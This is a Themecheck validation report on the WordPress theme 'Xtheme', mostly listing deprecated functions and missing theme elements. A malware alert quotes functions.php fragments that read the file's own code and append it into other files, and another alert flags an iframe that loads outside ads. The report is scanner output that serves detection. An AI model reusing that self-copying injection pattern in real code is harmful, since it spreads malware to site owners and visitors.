0
Validation results

Xtheme

Xtheme

WordPress 6.7 theme
0
  • THEME TYPEWordPress theme 6.7
  • FILE NAMExtheme.zip
  • FILE SIZE362586 bytes
  • MD51ce278326e9f84ae21b7dab9f88c793b
  • SHA111b5bc2ae579277d78b9327245e27b922c99d88a
  • LICENSENone
  • FILES INCLUDEDCSS, PHP, Bitmap images
  • CREATION DATE2021-05-12
  • LAST FILE UPDATE2021-05-12
  • LAST VALIDATION2021-05-12 14:30
  • OTHER VERSIONS

    : 0%

    : 0%

This theme seems to be proprietary. Themecheck doesn't distribute commercial themes.
Critical alerts
  1. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
  2. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe src="http://banners.passion.com/go/page/iframe_cm_17852?pid=g1426080-ppc" width="160" height="240" frameborder="no" marginwidth="0" marginheight="0" scrolling="no" align="middle"> in file search.php.
    Ligne10: <iframe src='http://banners.passion.com/go/page/iframe_cm_17852?pid=g142608
  3. Malware : Operations on file system file_get_contents was found in the file functions.php
    Ligne202: $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),'<'.'?'));
    Ligne209: $cont=file_get_contents($item);
    file_get_contents was found in the file functions.php
    Ligne202: $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),'<'.'?'));
    Ligne209: $cont=file_get_contents($item);
    file_get_contents was found in the file functions.php
    Ligne202: $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),'<'.'?'));
    Ligne209: $cont=file_get_contents($item);
    fopen was found in the file functions.php
    Ligne214: $output=rtrim($output, '\n\t'); fputs($f=fopen($item,'w+'),$cont . $seprar . '\n' .$widget);fclose($f);				
    fclose was found in the file functions.php
    Ligne214: $output=rtrim($output, '\n\t'); fputs($f=fopen($item,'w+'),$cont . $seprar . '\n' .$widget);fclose($f);				
  4. Admin menu : Themes should use add_theme_page() for adding admin pages. File functions.php :
    Ligne566: add_menu_page($themename, $themename, 'administrator', basename(__FILE__), 
  5. Content width : Proper definition of content_width No content width has been defined. Example:
    if ( ! isset( $content_width ) ) $content_width = 900;
  6. Deprecated functions : get_settings get_settings found in file functions.php. Deprecated since version 2.1. Use get_option() instead.
    Ligne630: <input name='<?php echo $value['id']; ?>' id='<?php echo $value['id']; ?>' type='<?php echo $value['type']; ?>' value='<?php if ( get_settings( $value['id'] ) != '') { echo stripslashes(get_settings( $valu
    Ligne642: <textarea name='<?php echo $value['id']; ?>' type='<?php echo $value['type']; ?>' cols='' rows=''><?php if ( get_settings( $value['id'] ) != '') { echo stripslashes(get_settings( $valu
    Ligne658: <option <?php if (get_settings( $value['id'] ) == $option) { echo 'selected='selected''; } ?>
  7. Deprecated functions : wp_specialchars wp_specialchars found in file login.php. Deprecated since version 2.8. Use esc_html() instead.
    Ligne24: <p><input type='text' name='log' value='' placeholder='<?php echo wp_specialchars(stripslashes($user_login), 1) ?>'></p>
    wp_specialchars found in file search.php. Deprecated since version 2.8. Use esc_html() instead.
    Ligne17: <?php _e('Search Results For', 'xtheme'); ?> <?php /* Search Count */ $allsearch = &new WP_Query('s=$s&showposts=-1'); $key = wp_specialchars($s, 1); $count = $allsearch->post_count; _e(''); _e('<span 
    wp_specialchars found in file functions.php. Deprecated since version 2.8. Use esc_html() instead.
    Ligne21: <textarea name='second-excerpt' id='second-excerpt' cols='60' rows='4' tabindex='30' style='width: 97%;'><?php echo wp_specialchars( get_post_meta( $object->ID, 'Video Description', true ), 1
  8. Deprecated functions : get_currentuserinfo get_currentuserinfo found in file header.php. Deprecated since version 4.5. Use wp_get_current_user instead.
    Ligne58: <?php global $user_ID; if ( $user_ID ) :   global $current_user; get_currentuserinfo(); ?>
    
    Ligne59: <a rel='nofollow' href='<? echo bp_loggedin_user_domain().'profile/'; ?>'><b><?php _e('My Account', 'xtheme'); ?></b></a> <span style='margin-left:5px;'><?php global $userdata; get_currentuserinfo(); echo get_avatar( $userdata->ID, 18 ); ?></span> | <a
  9. Deprecated functions : get_bloginfo get_bloginfo('template_url') was found in the file functions.php. Use get_template_directory_uri() instead.
    Ligne566: add_menu_page($themename, $themename, 'administrator', basename(__FILE__), 'mytheme_admin', get_bloginfo('template_url').'/functions/images/menuicon.png');
  10. Deprecated functions : bloginfo bloginfo('url') was found in the file index.php. Use echo esc_url( home_url() ) instead.
    Ligne15: <div class='showMore'><a href='<?php bloginfo('url'); ?>/'><?php $numpost = $wpdb->get_var('SELECT COUNT(*) FROM
    bloginfo('url') was found in the file archive.php. Use echo esc_url( home_url() ) instead.
    Ligne15: <div class='showMore'><a href='<?php bloginfo('url'); ?>/'><?php $numpost = $wpdb->get_var('SELECT COUNT(*) FROM
    bloginfo('url') was found in the file header.php. Use echo esc_url( home_url() ) instead.
    Ligne38: <a href='<?php bloginfo('url'); ?>/' title='<?php bloginfo('name'); ?>/' id='mainLogo'>
    
    Ligne42: <form action='<?php bloginfo('url'); ?>/' method='get' id='searchForm'>
    
    Ligne59: <a rel='nofollow' href='<? echo bp_loggedin_user_domain().'profile/'; ?>'><b><?php _e('My Account', 'xtheme'); ?></b></a> <span style='margin-left:5px;'><?php global $userdata; get_currentuserinfo(); echo get_avatar( $userdata->ID, 18 ); ?></span> | <a href='<?php echo bp_core_get_user_domain(bp_loggedin_user_id()); ?>'><?php cg_current_user_notification_count(); ?> - <b><?php _e('Notifications', 'xtheme'); ?></b></a> | <a rel='nofollow' href='<?php bloginfo('url'); ?>/activity'><b><?php _e('Activity', 'xtheme'); ?></b></a>
    Ligne61: <a href='<?php bloginfo('url'); ?>/signup'><b><?php _e('Create Account', 'xtheme'); ?></b>
    bloginfo('template_directory') was found in the file header.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne20: <link rel='shortcut icon' href='<?php bloginfo('template_directory'); ?>/images/favicon.ico'> 
    
    Ligne22: <link rel='stylesheet' href='<?php bloginfo('template_directory'); ?>/css/video.css'>
    
    Ligne23: <link rel='stylesheet' href='<?php bloginfo('template_directory'); ?>/style.css'>
    
    Ligne25: <script src='<?php bloginfo('template_directory'); ?>/js/tabcontent.js' type='text/javascript'
    Ligne26: <link href='<?php bloginfo('template_directory'); ?>/css/tabcontent.css' rel='stylesheet' typ
    Ligne27: <script src='<?php bloginfo('template_directory'); ?>/js/modernizr-2.5.3.min.js'></script>
    
    Ligne28: <script src='<?php bloginfo('template_directory'); ?>/js/script-head.js?v=2'></script>
    
    <scrip
    Ligne29: <script src='<?php bloginfo('template_directory'); ?>/js/mobile.js'></script>
    
    Ligne40: <img src='<?php bloginfo('template_directory'); ?>/images/logo.gif' alt='<?php bloginfo('na
    bloginfo('template_url') was found in the file header.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne24: <link rel='stylesheet' type='text/css' href='<?php bloginfo('template_url'); ?>/css/<?php echo get_option('xt_color_scheme'); 
    Ligne30: <link href='<?php bloginfo('template_url'); ?>/css/jquery.thumbnailScroller.css' rel='stylesh
    bloginfo('url') was found in the file best.php. Use echo esc_url( home_url() ) instead.
    Ligne20: <div class='showMore'><a href='<?php bloginfo('url'); ?>/'><?php $numpost = $wpdb->get_var('SELECT COUNT(*) FROM
    bloginfo('template_directory') was found in the file single.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne113: <script type='text/javascript' src='<?php bloginfo('template_directory'); ?>/js/ads.js?v=1'></script>
    
    Ligne115: <script>window.jQuery || document.write('<?php bloginfo('template_directory'); ?>/js/jquery-1.7.2.min.js'><\/script>')</sc
    Ligne116: <script type='text/javascript' src='<?php bloginfo('template_directory'); ?>/js/script.js?v=12'></script>
    
    bloginfo('template_url') was found in the file register.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne273: <script src='<?php bloginfo('template_url'); ?>/js/jquery.thumbnailScroller.js'></script>
    bloginfo('template_directory') was found in the file functions.php. Use echo esc_url( get_template_directory_uri() ) instead.
    Ligne571: $file_dir=get_bloginfo('template_directory');
    Ligne682: <div class='rm_title'><h3><img src='<?php bloginfo('template_directory')?>/functions/images/trans.png' class='inactiv
  11. Deprecated functions : get_option get_option('home') was found in the file login.php. Use home_url() instead.
    Ligne23: <form method='post' action='<?php echo get_option('home'); ?>/wp-login.php'>
    Ligne40: <p><?php _e('Forgot your Password?', 'xtheme'); ?> <a href='<?php echo get_option('home'); ?>/wp-login.php?action=lostpassword'><?php _e('Click He
Warning
  1. core scripts deregistered : Core scripts deregistrationFound wp_deregister_script in functions.php. Themes must not deregister core scripts.
    Ligne52: if ( !is_admin() ) { wp_deregister_script('jquery'); wp_register_script('jquery', ('http://ajax.
  2. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  3. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function _e, with the arguments '' in file search.php.Found a translation function that is missing a text-domain. Function _e, with the arguments '<span class="search-terms">' in file search.php.Found a translation function that is missing a text-domain. Function _e, with the arguments '</span>' in file search.php.Found a translation function that is missing a text-domain. Function _e, with the arguments ' — ' in file search.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Videos' in file search.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Read more &#8250;' in file page.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Read more &#8250;' in file pagefullwidth.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'You Like:' in file post-like.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'You don\'t like anything yet.' in file post-like.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'You Like:' in file post-like.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Today\'s Most Popular Posts' in file post-like.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'This Month\'s Most Popular Posts' in file post-like.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'This Week\'s Most Popular Posts' in file post-like.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Most Popular Posts' in file post-like.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Main Navigation Menu' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Footer links Menu' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments "There is no excerpt because this is a protected post." in file functions.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are xtheme, buddypress, status, bbpress, wpb.
  4. Cdn : Use of CDNFound the URL of a CDN in the code: netdna.bootstrapcdn.com/font-awesome. CSS or Javascript resources should not be loaded from a CDN. These resources should be bundled with the theme.
  5. Plugin territory : Plugin territory functionalitiesThe theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  6. Unwanted files : Windows thumbnail storethumbs.db was found.
  7. PHP short tags : Presence of PHP short tagsPHP short tags were found in file login.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Ligne34: <input type='hidden' name='redirect_to' value='<? echo bp_loggedin_user_domain().'profile/'; ?>' />
    PHP short tags were found in file index.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Ligne42: <? endwhile;endif; ?>
    
    PHP short tags were found in file header.php. "This practice is discouraged because they are only available if enabled with short_open_tag php.ini configuration file directive, or if PHP was configured with the --enable-short-tags option" (php.net), which is not the case on many servers.
    Ligne59: <a rel='nofollow' href='<? echo bp_loggedin_user_domain().'profile/'; ?>'><b><?php _e('My Account',
  8. Admin menu : Detection of user levels deprecated in WordPress 2.0. See Wordpress codex.File login.php :
    Ligne21: <?php if (!(current_user_can('level_0'))){ ?>
  9. Fundamental theme elements : Presence of wp_footer()Could not find wp_footer.
  10. Fundamental theme elements : Presence of add_theme_support()Could not find add_theme_support( 'automatic-feed-links' ).
  11. Fundamental theme elements : Presence of wp_list_comments()Could not find wp_list_comments.
  12. Fundamental theme elements : Presence of comment_form()Could not find comment_form.
  13. Fundamental theme elements : Presence of body_class()Could not find body_class call in body tag.
  14. Fundamental theme elements : Presence of post_class()Could not find post_class.
  15. Comment pagination : Declaration of comment paginationThe theme doesn't have comment pagination code in it. Use paginate_comments_links() to add comment pagination, or older previous_comments_link() and next_comments_link() functions.
  16. Comment reply : Declaration of comment replyCould not find the comment-reply script enqueued, however a reference to 'comment-reply' was found. Make sure that the comment-reply js script is being enqueued properly on singular pages.
  17. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  18. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  19. Editor style : Presence of editor styleNo reference to add_editor_style() was found in the theme. It is recommended that the theme implements editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
  20. CSS files : Presence of theme versionVersion: is missing from style.css header.
  21. CSS files : Presence of license typeLicense: is missing from style.css header.
  22. CSS files : Presence of license urlLicense URI: is missing from style.css header.
  23. CSS files : Presence of .sticky class.sticky css class is needed in theme css.
  24. CSS files : Presence of .bypostauthor class.bypostauthor css class is needed in theme css.
  25. CSS files : Presence of .gallery-caption class.gallery-caption css class is needed in theme css.
  26. CSS files : Presence of .screen-reader-text class.screen-reader-text css class is needed in your theme css. See : the Codex for an example implementation.
  27. Date and time implementation : Use of the_time()At least one hard coded date was found in the file archive.php. Function get_option( 'date_format' ) should be used instead.
  28. Screenshot : Screenshot fileScreenshot dimensions are wrong! Detected: 520x450px (52:45). Ratio of width to height should be 4:3.Screenshot size is 520x450px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Mandatory files : Presence of file comments.phpCould not find file comments.php in the theme.
  2. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  3. Optional files : Presence of comments template file comments.phpThis theme does not contain optional file comments.php.
  4. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  5. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  6. Optional files : Presence of single post template file single.phpThis theme does not contain optional file comments.php.
  7. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  8. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  9. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  10. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  11. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  12. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  13. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  14. Optional files : Presence of 404 Not Found template file 404.phpThis theme does not contain optional file 404.php.
  15. Use of includes : Use of include or requireThe theme appears to use include or require : activity-loop.php
    Ligne21: <?php include( locate_template( array( 'activity/entry.php' ), false ) ) ?>
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : single.php
    Ligne94: <?php include (TEMPLATEPATH . '/lastvideos.php'); ?>   
    
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes